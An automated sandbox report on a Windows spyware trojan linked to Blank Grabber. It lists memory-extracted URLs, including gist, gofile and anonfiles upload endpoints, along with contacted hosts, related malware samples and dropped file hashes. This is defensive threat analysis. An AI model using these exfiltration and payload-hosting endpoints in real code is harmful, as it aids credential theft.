https://html.spec.whatwg.org/multipage/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5EFB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414028733.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5EEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1462238296.000001DCB6230000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E1F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5E1F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gist.githubusercontent.com/typeshi12/29ef3a44a19235b08aaf229631c024d8/raw	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413757581.000001DCB6D3F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1414724101.000001DCB6570000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1413901123.000001DCB6531000.00000004.00000020.00020000.00000000.sdmp, bound.exe, 00000011.00000002.1605507236.00000254B6AA1000.00000004.00000800.00020000.00000000.sdmp, bound.exe, 00000011.00000000.1421291834.00000254B4B62000.00000002.00000001.01000000.00000014.sdmp	false		unknown
http://crl.micft.cMicRosof	powershell.exe, 0000000B.00000002.1534955775.000001E373933000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.gofile.io/getServer	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460493286.000001DCB5B30000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://nodejs.org	bound.exe, 00000011.00000002.1605507236.00000254B6C3E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000B.00000002.1523088933.000001E36B2F6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000002.1460853265.000001DCB5E54000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.thawte.com0	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000000.00000003.1393090782.000001C12B86F000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://json.org	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1412149958.000001DCB5CED000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.anonfiles.com/uploadr#	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1407566160.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1409163112.000001DCB59D9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408378616.000001DCB591D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe, 00000002.00000003.1408182982.000001DCB58FA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.29.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.203.125	getsolara.dev	United States	13335	CLOUDFLARENETUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	true
128.116.123.4	edge-term4-fra2.roblox.com	United States	22697	ROBLOX-PRODUCTIONUS	false
104.20.23.46	nodejs.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543368
Start date and time:	2024-10-27 18:43:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@43/44@7/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target bound.exe, PID 7976 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7820 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Simulations

Behavior and APIs

Time	Type	Description
13:44:27	API Interceptor	1x Sleep call for process: WMIC.exe modified
13:44:28	API Interceptor	99x Sleep call for process: powershell.exe modified
13:44:32	API Interceptor	46x Sleep call for process: bound.exe modified
13:44:44	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.203.125	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	RHUENHera1.exe	Get hash	malicious	AsyncRAT, XWorm	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.22026.2513.exe	Get hash	malicious	Unknown	Browse
208.95.112.1	5K9iuU0ALY.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	ip-api.com/line/?fields=hosting
	hQr269FZU1.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	loader.exe	Get hash	malicious	DCRat	Browse	ip-api.com/line/?fields=hosting
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Trojan.MulDrop28.33962.19660.9173.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	New Order.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	fEv4R2ahiLCQa5O.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PW68YarHboeikgM.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse	ip-api.com/json
	transferencia interbancaria_66579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.nodejs.org	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	104.20.23.46
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	104.20.23.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	RHUENHera1.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.22.46
getsolara.dev	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	SecuriteInfo.com.Variant.MSILHeracles.168781.2591.26227.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	104.21.93.27
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.203.125
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.203.125
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
edge-term4-fra2.roblox.com	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	128.116.123.4
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	128.116.123.3
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	128.116.123.4
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	128.116.123.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	128.116.123.3
	SecuriteInfo.com.Win64.MalwareX-gen.22026.2513.exe	Get hash	malicious	Unknown	Browse	128.116.123.4
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse	128.116.123.3
	SolaraBootstrapper.exe	Get hash	malicious	DCRat, XWorm	Browse	128.116.123.3
nodejs.org	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	104.20.23.46
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	104.20.22.46
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	104.20.23.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse	104.20.23.46
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.23.46
	RHUENHera1.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.20.22.46

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROBLOX-PRODUCTIONUS	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	128.116.110.16
	cgqdM4IA7C.exe	Get hash	malicious	XWorm	Browse	128.116.21.4
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	128.116.123.4
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	128.116.123.3
	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	128.116.44.3
	https://www.roblox.sc/users/294681399108/profile	Get hash	malicious	Unknown	Browse	128.116.122.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.3
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	128.116.44.4
	SecuriteInfo.com.Trojan.Siggen21.26995.26259.1562.exe	Get hash	malicious	Unknown	Browse	128.116.119.3
TUT-ASUS	5K9iuU0ALY.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	208.95.112.1
	hQr269FZU1.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	loader.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SecuriteInfo.com.Trojan.MulDrop28.33962.19660.9173.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	New Order.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	fEv4R2ahiLCQa5O.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PW68YarHboeikgM.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	General Agreement.docx.exe	Get hash	malicious	Python Stealer, Babadeda, Exela Stealer, Waltuhium Grabber	Browse	208.95.112.1
	eETnl6XIwn	Get hash	malicious	Unknown	Browse	208.95.112.1
CLOUDFLARENETUS	SecuriteInfo.com.Win64.MalwareX-gen.31244.2279.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse	104.20.4.235
	SecuriteInfo.com.Win64.CrypterX-gen.31361.18171.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.TR.Redcap.cdtxw.10783.3124.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	f6ffg1sZS2.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	K3SRs78CAv.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
CLOUDFLARENETUS	SecuriteInfo.com.Win64.MalwareX-gen.31244.2279.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SecuriteInfo.com.Trojan.GenericKD.74444428.17336.1019.exe	Get hash	malicious	Unknown	Browse	104.26.1.5
	SecuriteInfo.com.Trojan.Siggen29.54948.7115.19193.exe	Get hash	malicious	Xmrig	Browse	104.20.4.235
	SecuriteInfo.com.Win64.CrypterX-gen.31361.18171.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	SecuriteInfo.com.Trojan.TR.Redcap.cdtxw.10783.3124.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	f6ffg1sZS2.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	K3SRs78CAv.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	SecuriteInfo.com.Win64.Trojan.Agent.2S9FJA.25494.32016.exe	Get hash	malicious	Unknown	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	sheisverynicegirlwithgreatworkingskillwithgereatniceworkign.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	seemeherewithgreatthingsentiretimewithgreatthingsonhere.hta	Get hash	malicious	Cobalt Strike	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	seethebestthingswhichgivennewthingswithmewesee.hta	Get hash	malicious	Cobalt Strike	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	Factura-2410-CFDI.bat	Get hash	malicious	Unknown	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	SUNNY HONG VSL PARTICULARS.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	JOSXXL1.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.203.125 128.116.123.4 104.20.23.46
	WINNING DILIGENCE - VESSEL PARTICULARS.doc.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.203.125 128.116.123.4 104.20.23.46

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI76122\_bz2.pyd	5K9iuU0ALY.exe	Get hash	malicious	Blank Grabber, XWorm	Browse
C:\Users\user\AppData\Local\Temp\_MEI76122\VCRUNTIME140.dll	5K9iuU0ALY.exe	Get hash	malicious	Blank Grabber, XWorm	Browse
	grA6aqodO5.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	cPl7CoJTBx.exe	Get hash	malicious	Luna Grabber, Luna Logger	Browse
	R6IuO0fzec.exe	Get hash	malicious	Python Stealer, CStealer	Browse
	SecuriteInfo.com.Win64.Malware-gen.11853.10965.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Gen.Variant.Lazy.564550.16803.23255.exe	Get hash	malicious	Unknown	Browse
	H2f8SkAvdV.exe	Get hash	malicious	Blank Grabber, XWorm	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bound.exe_e1713a4d8d19182fc4a76a4d16041566ccfdee1_3c646ca9_a444fff1-7585-4c34-bbbb-0404a4d25c0e\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2565504248793764
Encrypted:	false
SSDEEP:	192:XzdP678r0bU9+dQ+bGaWxejol2/fsLzuiFDZ24lO8Kgz:pP+DbG+dQlaml23sLzuiFDY4lO81
MD5:	D8E645E0BA4CBBC5E5CB1385FC04D704
SHA1:	BA7696702BE9B52AAB213C76CF70FBD84503DB2B
SHA-256:	A65A038EFA9FFD303D64509F9C98ADABF71ECF224D8674B6543269831E6F660A
SHA-512:	61CD83ABC8EC2566B5438B62B7745756E4E086661E1FE5982081ABFDF11492DB4F8795F03ECC0919AA7121AFB74F9D72F2C9B591931B822540B1DC7E0881C5D5
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.5.2.4.6.7.8.2.1.5.8.8.2.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.5.2.4.6.7.9.0.4.3.9.8.3.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.4.4.4.f.f.f.1.-.7.5.8.5.-.4.c.3.4.-.b.b.b.b.-.0.4.0.4.a.4.d.2.5.c.0.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.3.7.c.7.6.2.6.-.f.0.a.5.-.4.d.e.d.-.b.4.c.f.-.d.1.8.9.7.b.7.3.3.3.5.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.b.o.u.n.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.S.o.l.a.r.a.B.o.o.t.s.t.r.a.p.p.e.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.2.8.-.0.0.0.1.-.0.0.1.4.-.4.9.9.3.-.b.0.d.d.9.7.2.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.f.e.1.7.3.6.3.1.c.a.d.c.4.a.7.6.9.5.d.3.9.9.5.7.a.1.2.d.e.9.c.0.0.0.0.0.0.0.0.!.0.0.0.0.2.1.f.2.3.2.c.2.f.d.8.1.3.2.f.8.6.7.7.e.5.3.2.5.8.5.6.2.a.d.9.8.b.4.5.5.e.6.7.9.!.b.o.u.n.d...

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40B.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Sun Oct 27 17:44:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	623002
Entropy (8bit):	3.257653588430877
Encrypted:	false
SSDEEP:	6144:zeGcjs2V3Qa6b334KDW8VuiBv8gD2NXriqrJDW:ze7Qa6b334T8VXBv1D25riq
MD5:	EED56D11F4A1B2B795CFBBF9540D0A5A
SHA1:	54067A8D37D0519D10DC7277BE2B5AACFC313B28
SHA-256:	348103821A178550C5EA842A36C368BDACF747260C632BB2F793056C20213DBE
SHA-512:	EB7A36089D5BB266C0DAEAECAA8EBD9FFC6B3E5FEDB929E017A016474332551DFC6D32436DA314391ED7CA96F016CCE7FAC0C5B8C8B9760CD6823B4BC45E51E1
Malicious:	false
Preview:	MDMP..a..... ........\|.g............d...........<...........<....)...........)......tT..............l.......8...........T............W...*...........F...........G..............................................................................eJ.......H......Lw......................T.......(....{.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER610.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6770
Entropy (8bit):	3.721030363750419
Encrypted:	false
SSDEEP:	192:R6l7wVeJccZrt3qYZW8qprK89b3zVf0l9m:R6lXJnZrt3qYUP3hfr
MD5:	91679ED9E509F98973AC0ACC3C0F88AF
SHA1:	BB4D36E3956735A1185C00797D1D9387A694A33E
SHA-256:	8CF682A57D82D0BAB2B4ED33BD322060F77E3CEEB346F9C91252D6934BAB62E1
SHA-512:	BA9F8DCD439E9DBD884EAB325D52810BAED31BF0239F889D876549EBB76CBC4CE827DB68EC4405DB472D1A1F161C5F3C3F83B9AC416F589A71C131C6EDA78739
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.9.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER64F.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4774
Entropy (8bit):	4.4499618263179075
Encrypted:	false
SSDEEP:	48:cvIwWl8zszJg771I94LWpW8VYtYm8M4J/T/Fkyq8v1T415LeBd:uIjfNI7z67VVJWWy15L6d
MD5:	17F377B1CE34503A2B948E8904192ACB
SHA1:	28AA443E500E87DE91EBAFBCC8C3B166221A76B8
SHA-256:	1C0B627FA1700A90D013BC0C5445FB6FF084201585235D42901E213E847DD345
SHA-512:	F332A6AB9A21DD830C1BB75ADC415AF74C7805B35DAB9C40C72CE97EF1CF1BB3687B31D01FE32EF8F5AF09D90A24B7883571E0540A7016ECDA3A22D84D036380
Malicious:	false
